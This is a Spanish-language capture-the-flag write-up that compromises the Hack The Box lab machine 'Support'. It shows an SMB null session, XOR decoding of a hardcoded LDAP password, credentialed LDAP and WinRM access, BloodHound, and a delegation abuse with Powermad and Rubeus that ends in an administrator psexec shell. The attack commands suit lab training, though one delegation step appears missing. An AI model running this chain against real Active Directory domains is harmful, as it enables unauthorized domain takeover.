Skip to content

Support HTB Write Up

alt text

Información del Objetivo

IP de la Máquina: 10.10.11.174

1. Reconocimiento Inicial

1.1 Escaneo de Puertos

sudo nmap -sS -p- --min-rate 5000 -n -vvv -Pn --open 10.10.11.174 -oG allPorts

alt text

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49674,49678,49699 10.10.11.174 -oN targeted

alt text

1.2 Acceso con Sesión Nula en SMB

Echemos un vistazo al puerto 445. Realicemos un inicio de sesión nulo (null session).

alt text

Podemos ver que es exitoso y recupera un recurso compartido llamado support-tools.

smbclient -L //10.10.11.174/support-tools

Así que veamos qué hay dentro con el siguiente comando.

smbclient -L //10.10.11.174/support-tools

Tenemos varios archivos, pero necesitamos descargar el que marco.

alt text

2. Analizando Archivos Descargados

Descomprimámoslo y una vez descomprimido, subiremos estos archivos a un programa llamado ILSpy.

Aquí están los pasos para descargar este programa.

wget https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2-rc/Linux.x64.Release.zip
unzip Linux.x64.Release.zip
unzip ILSpy-linux-x64-Release.zip
cd artifacts/linux-x64
sudo ./ILSpy

2.1 Ingeniería Inversa con ILSpy

alt text

Una vez allí, podemos ver lo siguiente si vamos a LdapQuery. Desde esta captura de pantalla podemos obtener el nombre de usuario, en este caso ldap.

alt text

Y si vamos a Protected, podemos ver la contraseña pero está codificada en XOR.

alt text

2.2 Descifrando la Contraseña

Así que para descifrar esta contraseña, hice este simple script de python3.

import base64

enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"

decoded_bytes = base64.b64decode(enc_password)

result_bytes = bytearray()
for i in range(len(decoded_bytes)):
    xor_byte = decoded_bytes[i] ^ key[i % len(key)] ^ 0xDF
    result_bytes.append(xor_byte)

password = result_bytes.decode('latin-1')

print("Decoded password:", password)

Y tenemos la contraseña descifrada:

alt text

3. Enumeración de LDAP

Con esta contraseña, intenté realizar algunas consultas LDAP autenticadas.

Aquí está el comando que usé.

ldapsearch -x -H ldap://10.10.11.174 -D "ldap@support.htb" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "(objectClass=user)"

Y encontré esta contraseña para el usuario support.

alt text

4. Validando Acceso a WinRM

Luego verifiqué si era un usuario válido de winrm, así que para ello ejecuté el siguiente comando.

PYTHONWARNINGS="ignore" nxc winrm 10.10.11.174 -u users.txt -p'Ironside47pleasure40Watchful'

alt text

Y tenemos la primera flag.

alt text

5. Preparación para la Escalada de Privilegios

5.1 Enumeración con BloodHound

Para la escalada de privilegios, primero ejecuté bloodhound:

bloodhound-python -u 'support' -p 'Ironside47pleasure40Watchful' -d support.htb -c All --zip -ns 10.10.11.174

alt text

Y subí los datos a la base de datos.

alt text

5.2 Analizando Permisos de Objetos

Luego busqué al usuario support y lo marqué como Owned (En posesión), y recuperé su Outbound Object Control. Aquí tenemos GenericAll sobre DC.SUPPORT.HTB, realmente podemos hacer eso porque estamos en SHARED SUPPORT ACCOUNTS.

alt text

6. Explotando Permisos GenericAll

Para abusar de eso, primero descargué y subí a mi sesión de winrm estos archivos.

6.1 Subiendo Herramientas al Objetivo

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 -> PowerView.ps1

https://github.com/Kevin-Robertson/Powermad -> Powermad.ps1

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries -> Rubeus.exe

6.2 Abuso de Cuenta de Máquina y Extracción de Ticket

Luego ejecutemos lo siguiente:

. ./PowerView.ps1
. ./Powermad.ps1

New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)

$ComputerSid = (Get-DomainComputer ATTACKERSYSTEM).objectsid

Get-ADComputer -identity ATTACKERSYSTEM

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

.\Rubeus.exe hash /password:Summer2018! /user:attackersystem$ /domain:support.htb

alt text

Aquí tenemos que tomar el rc4_hmac y luego ejecutar este comando:

.\Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

Esto recuperará tres tickets en base64, así que tenemos que tomar el último.

alt text

7. Uso del Ticket y Escalada de Privilegios

Luego, en nuestra máquina, ejecutaremos lo siguiente:

7.1 Convirtiendo el Formato del Ticket

base64 -d ticket.b64 > ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache

alt text

7.2 Usando el Ticket con Herramientas de Impacket

Luego, con este ticket, podemos simplemente iniciar sesión via psexec usando el ticket con el siguiente comando:

KRB5CCNAME=ticket.ccache impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass

alt text

Autor: Astro